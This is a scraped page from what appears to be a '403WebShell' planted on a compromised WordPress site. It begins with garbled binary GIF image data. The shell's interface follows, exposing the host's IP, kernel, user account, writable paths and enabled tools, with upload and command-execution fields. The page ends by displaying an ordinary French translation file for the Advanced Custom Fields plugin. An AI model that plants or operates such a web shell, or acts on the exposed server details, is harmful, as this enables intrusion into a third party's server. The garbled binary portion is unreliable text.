GIF89a=( õ' 7IAXKgNgYvYx\%wh…hŽth%ˆs%—x¨}9®Œ©€&©‰%¶†(¹–.¹5·œD¹&Çš)ÇŸ5ǘ;Í£*È¡&Õ²)ׯ7×µ<Ñ»4ï°3ø‘HÖ§KͯT÷¨Yÿšqÿ»qÿÔFØ !ù ' !ÿ NETSCAPE2.0 , =( þÀ“pH,È¤rÉl:ŸÐ¨tJ­Z¯Ø¬vËíz¿à°xL.›Ïè´zÍn»ßð¸|N¯Ûïø¼~Ïïûÿ€‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ ¡¢£¤¥¦§gª«ªE¯°¨¬ª±²Œ¹º¹E¾­”´ÂB¶¯ §Åȸ»ÑD¾¿Á•ÄÅ®° ÝH¾ÒLÀÆDÙ«D¶BÝïðÀ¾DÑÑÔTÌÍíH òGö¨A RÎڐ |¥ ٭&ºìE8œ¹kGÔAÞpx­a¶­ã R2XB®åE8I€Õ6Xî:vT)äžþÀq¦è³¥ì仕F~%xñ  4#ZÔ‰O|-4Bs‘X:= QÉ œš lºÒyXJŠGȦ|s hÏíK–3l7·B|¥$'7Jީܪ‰‡àá”Dæn=Pƒ ¤Òëí‰`䌨ljóá¯Éüv>á–Á¼5 ½.69ûϸd«­ºÀûnlv©‹ªîf{¬ÜãPbŸ  l5‘ޝpß ´ ˜3aÅùäI«O’ý·‘áÞ‡˜¾Æ‚ÙÏiÇÿ‹Àƒ #öó)pâš Þ½ ‘Ý{ó)vmÞü%D~ 6f s}ŃƒDØW Eþ`‡þ À…L8xá†ç˜{)x`X/> Ì}mø‚–RØ‘*|`D=‚Ø_ ^ð5 !_…'aä“OÚ—7âcð`D”Cx`ÝÂ¥ä‹éY¹—F¼¤¥Š?¡Õ™ n@`} lď’ÄÉ@4>ñd œ à‘vÒxNÃ×™@žd=ˆgsžG±æ ´²æud &p8Qñ)ˆ«lXD©øÜéAžHìySun jª×k*D¤LH] †¦§C™Jä–´Xb~ʪwStŽ6K,°£qÁœ:9ت:¨þªl¨@¡`‚ûÚ ».Û¬¯t‹ÆSÉ[:°=Š‹„‘Nåû”Ìî{¿ÂA ‡Rà›ÀÙ6úë°Ÿð0Ä_ ½;ÃϱîÉì^ÇÛÇ#Ëë¼ôº!±Ä˜íUîÅÇ;0L1óÁµö«p% AÀºU̬ݵ¼á%霼€‡¯Á~`ÏG¯»À× ­²± =4ªnpð3¾¤³¯­ü¾¦îuÙuµÙ®|%2ÊIÿür¦#0·ÔJ``8È@S@5ê¢ ö×Þ^`8EÜ]ý.뜃Âç 7 ú ȉÞj œ½Dç zý¸iþœÑÙûÄë!ˆÞÀl§Ïw‹*DçI€nEX¯¬¼ &A¬Go¼QföõFç°¯;é¦÷îŽêJ°îúôF5¡ÌQ|îúöXªæ»TÁÏyñêï]ê² o óÎC=öõ›ÒÓPB@ D×½œä(>èCÂxŽ`±«Ÿ–JЀ»Û á¤±p+eE0`ëŽ`A Ú/NE€Ø†À9‚@¤à H½7”à‡%B‰`Àl*ƒó‘–‡8 2ñ%¸ —€:Ù1Á‰E¸àux%nP1ð!‘ðC)¾P81lÑɸF#ˆ€{´âé°ÈB„0>±û °b¡Š´±O‚3È–Ù()yRpbµ¨E.Z‘D8ÊH@% òŒx+%Ù˜Æcü »¸˜fõ¬b·d`Fê™8èXH"ÉÈ-±|1Ô6iI, 2““¬$+](A*jÐ QTÂo‰.ÛU슬Œã„Ž`¯SN¡–¶Äåyše¯ª’­¬‚´b¦Éož œ)åyâ@Ì®3 ÎtT̉°&Ø+žLÀf"Ø-|žçÔ>‡Ðv¦Ðžì\‚ Q1)Ž@Žh#aP72”ˆ™¨$‚ !ù " , =( …7IAXG]KgNgYvYxR"k\%w]'}hŽth%ˆg+ˆs%—r.—m3šx3˜x¨}9®€&©€+¨‡7§‰%¶†(¹–.¹œD¹&ǘ;Í•&ײ)×»4ïÌ6ò§KÍ þ@‘pH,È¤rÉl:ŸÐ¨tJ­Z¯Ø¬vËíz¿à°xL.›Ïè´zÍn»ßð¸|N¯Ûïø¼~Ïïûÿ€‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ ¡¢£¤¥¦§g «¬ E ±± ¨­¶°ººE Á´”·®C¬²§Ç¶Œ»ÓDÃÕƷ¯Ê±H½ºM×ÁGÚ¬D¶BËÁ½î½DÓôTÏÛßîG»ôõC×CÌ l&âž:'òtU³6ɹ#·Ø)€'Ü.6±&ëÍÈ» K(8p0N?!æ2"ÛˆNIJX>R¼ÐO‚M '¡¨2¸*Ÿþ>#n↠å@‚<[:¡Iïf’ ¤TÚ˘CdbÜÙ“[«ŽEú5MBo¤×@€`@„€Êt W-3 ¶Ÿ¡BíêäjIÝ…Eò9[T…$íêﯧ„…•s»Óȳ¹€ÅÚdc®UUρ#±Ùïldj?´í¼²`\ŽÁðÞu|3'ÖŒ]ë6 ¶S#²‡˜FKLÈ *N E´‘áäŠ$˜›eÄYD„ºq«.è촁ƒs \-ÔjA 9²õ÷å- üúM[Âx(ís÷ì®x€|í¡Ù’p¦‚ ŽkÛTÇDpE@WÜ ²Ç]kŠ1¨ þ€·Yb ÓÁ‰l°*n0 ç™—žzBdОu¾7ĉBl€â‰-ºx~|UåU‰  h*Hœ|e"#"?vpÄiŠe6^ˆ„+qâŠm8 #VÇá ‘å–ÄV„œ|Аè•m"сœn|@›U¶ÆÎž—Špb¥G¨ED”€±Úê2FÌIç? >Éxå Œ± ¡¤„%‘žjŸ‘ꄯ<Ìaà9ijÐ2˜D¦È&›†Z`‚å]wþ¼Â:ç6àB¤7eFJ|õÒ§Õ,¨äàFÇ®cS·Ê¶+B°,‘Þ˜ºNûãØ>PADÌHD¹æž«ÄÀnÌ¥}­#Ë’ë QÀÉSÌÂÇ2ÌXÀ{æk²lQÁ2«ÊðÀ¯w|2Í h‹ÄÂG€,m¾¶ë3ÐÙ6-´ÅE¬L°ÆIij*K½ÀÇqï`DwVÍQXœÚÔpeœ±¬Ñ q˜§Tœ½µƒ°Œìu Â<¶aØ*At¯lmEØ ü ôÛN[P1ÔÛ¦­±$ÜÆ@`ùåDpy¶yXvCAyåB`ŽD¶ 0QwG#¯ æš[^Äþ $ÀÓÝǦ{„L™[±úKÄgÌ;ï£S~¹ìGX.ôgoT.»åˆ°ùŸûù¡?1zö¦Ÿž:ÅgÁ|ìL¹ „®£œŠ‚à0œ]PÁ^p F<"•ç?!,ñ‡N4—…PÄ Á„ö¨Û:Tè@hÀ‹%táÿ:ø-žI<`þ‹p I….)^ 40D#p@ƒj4–؀:²‰1Øâr˜¼F2oW¼#Z†;$Q q” ‘ ÂK¦ñNl#29 !’F@¥Bh·ᏀL!—XFóLH‘Kh¤.«hE&JòG¨¥<™WN!€ÑÙÚˆY„@†>Œž19J" 2,/ &.GXB%ÌRÈ9B6¹W]’î×ÔW¥’IÎ$ ñ‹ÓŒE8YÆ ¼³™ñA5“à®Q.aŸB€&Ø©³ JÁ—! ¦t)K%tœ-¦JF bòNMxLôþ)ÐR¸Ð™‘ èÝ6‘O!THÌ„HÛ ‰ !ù ) , =( …AXKgNgYvYxR"k\%wh…hŽh%ˆg+ˆs%—r.—x3˜x¨}9®€&©€+¨Œ,©‡7§‰%¶†(¹–.¹5·&Çš)ǘ;Í•&×£*Ȳ)ׯ7×»4ï°3øÌ6ò‘HÖ§KÍ»Hó¯T÷¨Yÿ»qÿÇhÿ þÀ”pH,È¤rÉl:ŸÐ¨tJ­Z¯Ø¬vËíz¿à°xL.›Ïè´zÍn»ßð¸|N¯Ûïø¼~Ïïûÿ€‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ ¡¢£¤¥¦§g ª« E$±²¨ª­ · °²½$E$ÂÕ««D· Í ¿¦Ç¶¸ÌŒ¾³CÃÅÆ E ééH½MÛÂGâªD­ çBêêϾD²ÒaÀà€Š1r­ðÓ¤ ÔožzU!L˜C'¾yW½UGtäÇïÙllê0×àÂuGþ)AÀs[þ·xì ÁxO%ƒûX2ó—  P£n›R/¡ÑšHše+êDm?# —‘Ç£6¡8íJ¡ŸâDiäªM¥Ö„ôj“¬¹£5oQ7°- <‡ *´lãÓŒ2r/a!l)dÈ A™ÈE¢ôÔ͆…ð ;Ö˜c ¡%ß‚’Ùˆâ¸b½—pe~C"BíëÚHïeF2§æŠ8qb t_`urŠeü wÅu3êæPv§h•"ß`íÍxçLĹÜÖ3á  ~Öº“®›¸ÏMDfJÙ °„ÛµáWõ%§œ‚à©–‚X ÓØ)@®Ñ›Eþ´wëuÅSxb8y\mÖzœ¥§ZbºE—ÂLªÌw!y(>¡™wú=Ç|ÅÝs¢d €CÁW)HÜcC$€L Ä7„r.á\{)@ð` @ äXÈ$PD” `šaG:§æˆOˆ72EÐamn]ù"ŒcÊxÑŒ° &dR8`g«iÙŸLR!¦P …d’ä¡“¦ðÎTƒ¦ià|À _ ¥ Qi#¦Šg›Æ ›noMµ ›V ã£)p ç£ÎW…š=Âeªk§†j„ ´®1ß²sÉxéW«jšl|0¯B0Û, \jÛ´›6±¬¶C ÛíWþï|ëÙ‹¸ñzĸV {ì;Ýñn¼òVˆm³I¼³.Ðã¤PN¥ ²µ¼„µCã+¹ÍByî£Ñ¾HŸ›ëê 7ìYÆFTk¨SaoaY$Dµœìï¿Ã29RÈkt Çïfñ ÇÒ:ÀÐSp¹3ÇI¨â¥DZÄ ü9Ïýögñ½­uÔ*3)O‘˜Ö[_hv ,àî×Et Ÿé¶BH€ Õ[ü±64M@ÔSÌM7dÐl5-ÄÙU܍´©zߌ3Ô€3ž„ „ ¶ÛPô½5×g› êÚ˜kN„Ý…0Îj4€Ìë°“#{þÕ3S2çKÜ'ợlø¼Ú2K{° {Û¶?žm𸧠ËI¼nEò='êüóºè^üæÃ_Û=°óž‚ì#Oý¿Í'¡½áo..ÏYìnüñCœO±Áa¿¢Kô½o,üÄËbö²çºíï{ËC Ú— "”Ï{ËK ÍÒw„õ±Oz dÕ¨à:$ ƒô—«v»] A#ð «€¿šéz)Rx׿ˆ¥‚d``èw-îyÏf×K!ð€þ­Ð|ìPľ„=Ì`ý(f” 'Pa ¥ÐBJa%Ðâf§„%Š¡}FàáÝ×6>ÉäŠG"éŽè=ø!oа^FP¼Ø©Q„ÀCÙÁ`(Ž\ÄÝ® ©Â$<n@dÄ E#ììUÒI! ‚#lù‹`k¦ÐÇ'Rró’ZýNBÈMF Í[¤+‹ðɈ-áwj¨¥þ8¾rá ,VÂh„"|½œ=×G_¦Ñ™EØ 0i*%̲˜Æda0mV‚k¾)›;„&6 p>ÓjK “¦Ç# âDÂ:ûc?:R Ó¬fÞéI-Ì“•Ã<ä=™Ï7˜3œ¨˜c2ŒW ,ˆ”8(T™P‰F¡Jhç"‚ ; 403WebShell
403Webshell
Server IP : 104.21.83.152  /  Your IP : 216.73.216.82
Web Server : LiteSpeed
System : Linux premium229.web-hosting.com 4.18.0-553.45.1.lve.el8.x86_64 #1 SMP Wed Mar 26 12:08:09 UTC 2025 x86_64
User : akhalid ( 749)
PHP Version : 8.3.22
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/akhalid/ibrenergy.com/wp-content/themes/ibr-theme/includes/acf/lang/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/akhalid/ibrenergy.com/wp-content/themes/ibr-theme/includes/acf/lang/acf-fr_FR.po
msgid ""
msgstr ""
"Project-Id-Version: Advanced Custom Fields Pro v5.2.9\n"
"Report-Msgid-Bugs-To: http://support.advancedcustomfields.com\n"
"POT-Creation-Date: 2016-06-17 13:45+0200\n"
"PO-Revision-Date: 2017-01-11 09:32+1000\n"
"Last-Translator: Elliot Condon <e@elliotcondon.com>\n"
"Language-Team: Dysign <maxime@dysign.fr>\n"
"Language: fr_FR\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: 8bit\n"
"Plural-Forms: nplurals=2; plural=(n > 1);\n"
"X-Generator: Poedit 1.8.1\n"
"X-Poedit-SourceCharset: UTF-8\n"
"X-Poedit-KeywordsList: __;_e;_n:1,2;_x:1,2c;_ex:1,2c;_nx:4c,1,2;esc_attr__;esc_attr_e;esc_attr_x:1,2c;esc_html__;"
"esc_html_e;esc_html_x:1,2c;_n_noop:1,2;_nx_noop:3c,1,2;__ngettext_noop:1,2\n"
"X-Poedit-Basepath: ..\n"
"X-Poedit-WPHeader: acf.php\n"
"X-Textdomain-Support: yes\n"
"X-Poedit-SearchPath-0: .\n"
"X-Poedit-SearchPathExcluded-0: *.js\n"

# @ acf
#: acf.php:60
msgid "Advanced Custom Fields"
msgstr "Advanced Custom Fields"

# @ acf
#: acf.php:268 admin/admin.php:61
msgid "Field Groups"
msgstr "Groupes de champs"

# @ acf
#: acf.php:269
msgid "Field Group"
msgstr "Groupe de champs"

# @ acf
#: acf.php:270 acf.php:302 admin/admin.php:62 pro/fields/flexible-content.php:496
msgid "Add New"
msgstr "Ajouter"

# @ acf
#: acf.php:271
msgid "Add New Field Group"
msgstr "Nouveau groupe de champs"

# @ acf
#: acf.php:272
msgid "Edit Field Group"
msgstr "Modifier le groupe de champs"

# @ acf
#: acf.php:273
msgid "New Field Group"
msgstr "Nouveau groupe de champs"

# @ default
#: acf.php:274
msgid "View Field Group"
msgstr "Voir le groupe de champs"

# @ default
#: acf.php:275
msgid "Search Field Groups"
msgstr "Rechercher un groupe de champs"

# @ default
#: acf.php:276
msgid "No Field Groups found"
msgstr "Aucun groupe de champs trouvé"

# @ default
#: acf.php:277
msgid "No Field Groups found in Trash"
msgstr "Aucun groupe de champs trouvé dans la corbeille"

# @ acf
#: acf.php:300 admin/field-group.php:182 admin/field-group.php:280 admin/field-groups.php:528
msgid "Fields"
msgstr "Champs"

# @ acf
#: acf.php:301
msgid "Field"
msgstr "Champ"

# @ acf
#: acf.php:303
msgid "Add New Field"
msgstr "Ajouter un champ"

# @ acf
#: acf.php:304
msgid "Edit Field"
msgstr "Modifier le champ"

# @ acf
#: acf.php:305 admin/views/field-group-fields.php:18 admin/views/settings-info.php:111
msgid "New Field"
msgstr "Nouveau champ"

# @ acf
#: acf.php:306
msgid "View Field"
msgstr "Voir le champ"

# @ default
#: acf.php:307
msgid "Search Fields"
msgstr "Rechercher des champs"

# @ default
#: acf.php:308
msgid "No Fields found"
msgstr "Aucun champ trouvé"

# @ default
#: acf.php:309
msgid "No Fields found in Trash"
msgstr "Aucun champ trouvé dans la corbeille"

#: acf.php:348 admin/field-group.php:395 admin/field-groups.php:585 admin/views/field-group-options.php:13
msgid "Disabled"
msgstr "Désactivé"

#: acf.php:353
#, php-format
msgid "Disabled <span class=\"count\">(%s)</span>"
msgid_plural "Disabled <span class=\"count\">(%s)</span>"
msgstr[0] "Désactivé <span class=\"count\">(%s)</span>"
msgstr[1] "Désactivés <span class=\"count\">(%s)</span>"

# @ acf
#: admin/admin.php:57 admin/views/field-group-options.php:115
msgid "Custom Fields"
msgstr "ACF"

# @ default
#: admin/field-group.php:68 admin/field-group.php:69 admin/field-group.php:71
msgid "Field group updated."
msgstr "Groupe de champs mis à jour"

# @ default
#: admin/field-group.php:70
msgid "Field group deleted."
msgstr "Groupe de champs supprimé."

# @ default
#: admin/field-group.php:73
msgid "Field group published."
msgstr "Groupe de champ publié"

# @ default
#: admin/field-group.php:74
msgid "Field group saved."
msgstr "Groupe de champ enregistré"

# @ default
#: admin/field-group.php:75
msgid "Field group submitted."
msgstr "Groupe de champ enregistré."

#: admin/field-group.php:76
msgid "Field group scheduled for."
msgstr "Groupe de champs programmé pour."

#: admin/field-group.php:77
msgid "Field group draft updated."
msgstr "Brouillon du groupe de champs mis à jour."

# @ acf
#: admin/field-group.php:183
msgid "Location"
msgstr "Assigner ce groupe de champs"

#: admin/field-group.php:184
msgid "Settings"
msgstr "Réglages"

# @ acf
#: admin/field-group.php:274
msgid "Move to trash. Are you sure?"
msgstr "Mettre à la corbeille. Êtes-vous sûr ?"

#: admin/field-group.php:275
msgid "checked"
msgstr "sélectionné"

#: admin/field-group.php:276
msgid "No toggle fields available"
msgstr "Ajoutez d'abord une case à cocher ou un champ sélection"

# @ default
#: admin/field-group.php:277
msgid "Field group title is required"
msgstr "Veuillez indiquer un titre pour le groupe de champs"

#: admin/field-group.php:278 api/api-field-group.php:620
msgid "copy"
msgstr "copie"

#: admin/field-group.php:279 admin/views/field-group-field-conditional-logic.php:62
#: admin/views/field-group-field-conditional-logic.php:162 admin/views/field-group-locations.php:59
#: admin/views/field-group-locations.php:135 api/api-helpers.php:3684
msgid "or"
msgstr "ou"

#: admin/field-group.php:281
msgid "Parent fields"
msgstr "Champs parents"

#: admin/field-group.php:282
msgid "Sibling fields"
msgstr "Champs voisins"

# @ acf
#: admin/field-group.php:283
msgid "Move Custom Field"
msgstr "Déplacer le champ personnalisé"

#: admin/field-group.php:284
msgid "This field cannot be moved until its changes have been saved"
msgstr "Ce champ ne peut pas être déplacé tant que ses modifications n'ont pas été enregistrées"

#: admin/field-group.php:285
msgid "Null"
msgstr "Vide"

#: admin/field-group.php:286 core/input.php:257
msgid "The changes you made will be lost if you navigate away from this page"
msgstr "Les modifications seront perdues si vous quittez cette page"

#: admin/field-group.php:287
msgid "The string \"field_\" may not be used at the start of a field name"
msgstr "Un champ ne peut pas commencer par \"field_\" "

#: admin/field-group.php:365
msgid "Field Keys"
msgstr "Identifiants des champs"

#: admin/field-group.php:395 admin/views/field-group-options.php:12
msgid "Active"
msgstr "Actif"

#: admin/field-group.php:843
msgid "Front Page"
msgstr "Page d'accueil"

#: admin/field-group.php:844
msgid "Posts Page"
msgstr "Page des articles"

#: admin/field-group.php:845
msgid "Top Level Page (no parent)"
msgstr "Page de haut niveau (sans descendant)"

#: admin/field-group.php:846
msgid "Parent Page (has children)"
msgstr "Page parente (avec page enfant)"

#: admin/field-group.php:847
msgid "Child Page (has parent)"
msgstr "Page enfant (avec parent)"

# @ acf
#: admin/field-group.php:863
msgid "Default Template"
msgstr "Modèle de base"

#: admin/field-group.php:886
msgid "Logged in"
msgstr "Connecté"

#: admin/field-group.php:887
msgid "Viewing front end"
msgstr "Depuis le site"

#: admin/field-group.php:888
msgid "Viewing back end"
msgstr "Depuis l'interface d'administration"

#: admin/field-group.php:907
msgid "Super Admin"
msgstr "Super Administrateur"

#: admin/field-group.php:918 admin/field-group.php:926 admin/field-group.php:940 admin/field-group.php:947
#: admin/field-group.php:964 admin/field-group.php:981 fields/file.php:241 fields/image.php:237
#: pro/fields/gallery.php:684
msgid "All"
msgstr "Tous"

#: admin/field-group.php:927
msgid "Add / Edit"
msgstr "Ajouter / Modifier"

#: admin/field-group.php:928
msgid "Register"
msgstr "Inscription"

#: admin/field-group.php:1168
msgid "Move Complete."
msgstr "Déplacement effectué"

#: admin/field-group.php:1169
#, php-format
msgid "The %s field can now be found in the %s field group"
msgstr "Le champ %s a été déplacé dans le groupe %s"

# @ acf
#: admin/field-group.php:1171
msgid "Close Window"
msgstr "Fermer la fenêtre"

# @ acf
#: admin/field-group.php:1206
msgid "Please select the destination for this field"
msgstr "Choisissez la destination de ce champ"

# @ acf
#: admin/field-group.php:1213
msgid "Move Field"
msgstr "Déplacer le champ"

#: admin/field-groups.php:74
#, php-format
msgid "Active <span class=\"count\">(%s)</span>"
msgid_plural "Active <span class=\"count\">(%s)</span>"
msgstr[0] "Actif <span class=\"count\">(%s)</span>"
msgstr[1] "Actifs <span class=\"count\">(%s)</span>"

# @ default
#: admin/field-groups.php:142
#, php-format
msgid "Field group duplicated. %s"
msgstr "Groupe de champs dupliqué. %s"

# @ default
#: admin/field-groups.php:146
#, php-format
msgid "%s field group duplicated."
msgid_plural "%s field groups duplicated."
msgstr[0] "%s groupe dupliqué"
msgstr[1] "%s groupes de champs dupliqués"

# @ default
#: admin/field-groups.php:228
#, php-format
msgid "Field group synchronised. %s"
msgstr "Groupe de champs synchronisé. %s"

# @ acf
#: admin/field-groups.php:232
#, php-format
msgid "%s field group synchronised."
msgid_plural "%s field groups synchronised."
msgstr[0] "%s groupe de champs synchronisé"
msgstr[1] "%s groupes de champs synchronisés"

# @ acf
#: admin/field-groups.php:412 admin/field-groups.php:575
msgid "Sync available"
msgstr "Synchronisation disponible"

#: admin/field-groups.php:525 api/api-template.php:1079 api/api-template.php:1292 pro/fields/gallery.php:371
msgid "Title"
msgstr "Titre"

# @ acf
#: admin/field-groups.php:526 admin/views/field-group-options.php:93 admin/views/update-network.php:25
#: admin/views/update-network.php:33 pro/fields/gallery.php:398
msgid "Description"
msgstr "Description"

#: admin/field-groups.php:527 admin/views/field-group-options.php:5
msgid "Status"
msgstr "Statut"

# @ acf
#: admin/field-groups.php:623 admin/settings-info.php:76 pro/admin/views/settings-updates.php:111
msgid "Changelog"
msgstr "Améliorations"

#: admin/field-groups.php:624
#, php-format
msgid "See what's new in <a href=\"%s\">version %s</a>."
msgstr "Découvrez les nouveautés de la <a href=\"%s\">version %s</a>."

# @ acf
#: admin/field-groups.php:626
msgid "Resources"
msgstr "Ressources"

#: admin/field-groups.php:628
msgid "Getting Started"
msgstr "Guide de démarrage"

# @ acf
#: admin/field-groups.php:629 pro/admin/settings-updates.php:61 pro/admin/views/settings-updates.php:17
msgid "Updates"
msgstr "Mises à jour"

# @ acf
#: admin/field-groups.php:630
msgid "Field Types"
msgstr "Types de champ"

# @ acf
#: admin/field-groups.php:631
msgid "Functions"
msgstr "Fonctions"

# @ acf
#: admin/field-groups.php:632
msgid "Actions"
msgstr "Actions"

#: admin/field-groups.php:633 fields/relationship.php:720
msgid "Filters"
msgstr "Filtres"

#: admin/field-groups.php:634
msgid "'How to' guides"
msgstr "Guides"

#: admin/field-groups.php:635
msgid "Tutorials"
msgstr "Tutoriels"

#: admin/field-groups.php:636
msgid "FAQ"
msgstr "FAQ"

# @ acf
#: admin/field-groups.php:641
msgid "Created by"
msgstr "Créé par"

# @ acf
#: admin/field-groups.php:684
msgid "Duplicate this item"
msgstr "Dupliquer cet élément"

#: admin/field-groups.php:684 admin/field-groups.php:700 admin/views/field-group-field.php:58
#: pro/fields/flexible-content.php:495
msgid "Duplicate"
msgstr "Dupliquer"

# @ acf
#: admin/field-groups.php:751
#, php-format
msgid "Select %s"
msgstr "Choisir %s"

#: admin/field-groups.php:759
msgid "Synchronise field group"
msgstr "Synchroniser le groupe de champs"

#: admin/field-groups.php:759 admin/field-groups.php:776
msgid "Sync"
msgstr "Synchronisation "

# @ acf
#: admin/settings-addons.php:51 admin/views/settings-addons.php:9
msgid "Add-ons"
msgstr "Add-ons"

#: admin/settings-addons.php:87
msgid "<b>Error</b>. Could not load add-ons list"
msgstr "<b>Erreur</b>. Impossible de charger la liste d'add-ons"

#: admin/settings-info.php:50
msgid "Info"
msgstr "Information"

#: admin/settings-info.php:75
msgid "What's New"
msgstr "Nouveautés"

#: admin/settings-tools.php:50 admin/views/settings-tools-export.php:23 admin/views/settings-tools.php:31
msgid "Tools"
msgstr "Outils"

# @ acf
#: admin/settings-tools.php:147 admin/settings-tools.php:380
msgid "No field groups selected"
msgstr "Aucun groupe de champs n'est sélectionné"

# @ acf
#: admin/settings-tools.php:184 fields/file.php:175
msgid "No file selected"
msgstr "Aucun fichier sélectionné"

#: admin/settings-tools.php:197
msgid "Error uploading file. Please try again"
msgstr "Echec de l'import du fichier. Merci de réessayer."

#: admin/settings-tools.php:206
msgid "Incorrect file type"
msgstr "Type de fichier incorrect"

#: admin/settings-tools.php:223
msgid "Import file empty"
msgstr "Aucun fichier à importer"

#: admin/settings-tools.php:331
#, php-format
msgid "Imported 1 field group"
msgid_plural "Imported %s field groups"
msgstr[0] "1 groupe de champs importé"
msgstr[1] "%s groupes de champs importés"

# @ acf
#: admin/update-network.php:96 admin/update.php:104 admin/update.php:155
msgid "Upgrade Database"
msgstr "Mise à niveau de la base de données"

#: admin/update-network.php:148
msgid "Review sites & upgrade"
msgstr "Examiner les sites et mettre à niveau"

#: admin/update.php:220
msgid "Error validating request"
msgstr "Erreur : la requête n’a pas pu être validée"

# @ acf
#: admin/update.php:243 admin/views/update.php:110
msgid "No updates available."
msgstr "Aucune mise à jour disponible."

#: admin/update.php:260
msgid "Error loading update"
msgstr "Erreur pendant le chargement de la mise à jour"

#: admin/views/field-group-field-conditional-logic.php:29
msgid "Conditional Logic"
msgstr "Logique conditionnelle"

#: admin/views/field-group-field-conditional-logic.php:40 admin/views/field-group-field.php:140 fields/checkbox.php:243
#: fields/message.php:144 fields/page_link.php:539 fields/page_link.php:553 fields/post_object.php:403
#: fields/post_object.php:417 fields/radio.php:254 fields/select.php:448 fields/select.php:462 fields/select.php:476
#: fields/select.php:490 fields/tab.php:130 fields/taxonomy.php:772 fields/taxonomy.php:786 fields/taxonomy.php:800
#: fields/taxonomy.php:814 fields/user.php:416 fields/user.php:430 fields/wysiwyg.php:418
#: pro/admin/views/settings-updates.php:93
msgid "Yes"
msgstr "Oui"

#: admin/views/field-group-field-conditional-logic.php:41 admin/views/field-group-field.php:141 fields/checkbox.php:244
#: fields/message.php:145 fields/page_link.php:540 fields/page_link.php:554 fields/post_object.php:404
#: fields/post_object.php:418 fields/radio.php:255 fields/select.php:449 fields/select.php:463 fields/select.php:477
#: fields/select.php:491 fields/tab.php:131 fields/taxonomy.php:687 fields/taxonomy.php:773 fields/taxonomy.php:787
#: fields/taxonomy.php:801 fields/taxonomy.php:815 fields/user.php:417 fields/user.php:431 fields/wysiwyg.php:419
#: pro/admin/views/settings-updates.php:103
msgid "No"
msgstr "Non"

#: admin/views/field-group-field-conditional-logic.php:62
msgid "Show this field if"
msgstr "Montrer ce champ si"

#: admin/views/field-group-field-conditional-logic.php:111 admin/views/field-group-locations.php:34
msgid "is equal to"
msgstr "est égal à"

#: admin/views/field-group-field-conditional-logic.php:112 admin/views/field-group-locations.php:35
msgid "is not equal to"
msgstr "n‘est pas égal à"

#: admin/views/field-group-field-conditional-logic.php:149 admin/views/field-group-locations.php:122
msgid "and"
msgstr "et"

# @ acf
#: admin/views/field-group-field-conditional-logic.php:164 admin/views/field-group-locations.php:137
msgid "Add rule group"
msgstr "Ajouter une règle"

#: admin/views/field-group-field.php:49 pro/fields/flexible-content.php:342 pro/fields/repeater.php:302
msgid "Drag to reorder"
msgstr "Faites glisser pour réorganiser"

# @ acf
#: admin/views/field-group-field.php:54 admin/views/field-group-field.php:57
msgid "Edit field"
msgstr "Modifier ce champ"

# @ acf
#: admin/views/field-group-field.php:57 core/media.php:55 fields/image.php:142 pro/fields/gallery.php:358
msgid "Edit"
msgstr "Modifier"

# @ acf
#: admin/views/field-group-field.php:58
msgid "Duplicate field"
msgstr "Dupliquer ce champ"

#: admin/views/field-group-field.php:59
msgid "Move field to another group"
msgstr "Déplacer les champs dans un autre groupe"

#: admin/views/field-group-field.php:59
msgid "Move"
msgstr "Déplacer"

# @ acf
#: admin/views/field-group-field.php:60
msgid "Delete field"
msgstr "Supprimer ce champ"

# @ acf
#: admin/views/field-group-field.php:60 pro/fields/flexible-content.php:494
msgid "Delete"
msgstr "Supprimer"

#: admin/views/field-group-field.php:68 fields/oembed.php:225 fields/taxonomy.php:888
msgid "Error"
msgstr "Erreur"

#: fields/oembed.php:220 fields/taxonomy.php:900
msgid "Error."
msgstr "Erreur."

# @ acf
#: admin/views/field-group-field.php:68
msgid "Field type does not exist"
msgstr "Ce type de champ n‘existe pas !"

# @ acf
#: admin/views/field-group-field.php:81
msgid "Field Label"
msgstr "Titre du champ"

# @ acf
#: admin/views/field-group-field.php:82
msgid "This is the name which will appear on the EDIT page"
msgstr "Ce nom apparaîtra sur la page d‘édition"

# @ acf
#: admin/views/field-group-field.php:94
msgid "Field Name"
msgstr "Nom du champ"

# @ acf
#: admin/views/field-group-field.php:95
msgid "Single word, no spaces. Underscores and dashes allowed"
msgstr "Un seul mot sans espace.<br />Les '_' et '-' sont autorisés"

# @ acf
#: admin/views/field-group-field.php:107
msgid "Field Type"
msgstr "Type de champ"

# @ acf
#: admin/views/field-group-field.php:121 fields/tab.php:103
msgid "Instructions"
msgstr "Instructions"

# @ acf
#: admin/views/field-group-field.php:122
msgid "Instructions for authors. Shown when submitting data"
msgstr "Instructions pour les auteurs. Affichées lors de la saisie du contenu"

# @ acf
#: admin/views/field-group-field.php:133
msgid "Required?"
msgstr "Requis ?"

#: admin/views/field-group-field.php:162
msgid "Wrapper Attributes"
msgstr "Attributs "

#: admin/views/field-group-field.php:168
msgid "width"
msgstr "Largeur"

#: admin/views/field-group-field.php:182
msgid "class"
msgstr "classe"

#: admin/views/field-group-field.php:195
msgid "id"
msgstr "ID"

# @ acf
#: admin/views/field-group-field.php:207
msgid "Close Field"
msgstr "Fermer le champ"

# @ acf
#: admin/views/field-group-fields.php:29
msgid "Order"
msgstr "Ordre"

# @ acf
#: admin/views/field-group-fields.php:30 pro/fields/flexible-content.php:521
msgid "Label"
msgstr "Intitulé"

# @ acf
#: admin/views/field-group-fields.php:31 fields/taxonomy.php:954 pro/fields/flexible-content.php:534
msgid "Name"
msgstr "Nom"

# @ acf
#: admin/views/field-group-fields.php:32
msgid "Type"
msgstr "Type"

# @ acf
#: admin/views/field-group-fields.php:44
msgid "No fields. Click the <strong>+ Add Field</strong> button to create your first field."
msgstr "Aucun champ. Cliquez sur le bouton <strong>+ Ajouter</strong> pour créer votre premier champ."

# @ acf
#: admin/views/field-group-fields.php:51
msgid "+ Add Field"
msgstr "+ Ajouter"

# @ acf
#: admin/views/field-group-locations.php:5 admin/views/field-group-locations.php:11
msgid "Post"
msgstr "Article"

# @ acf
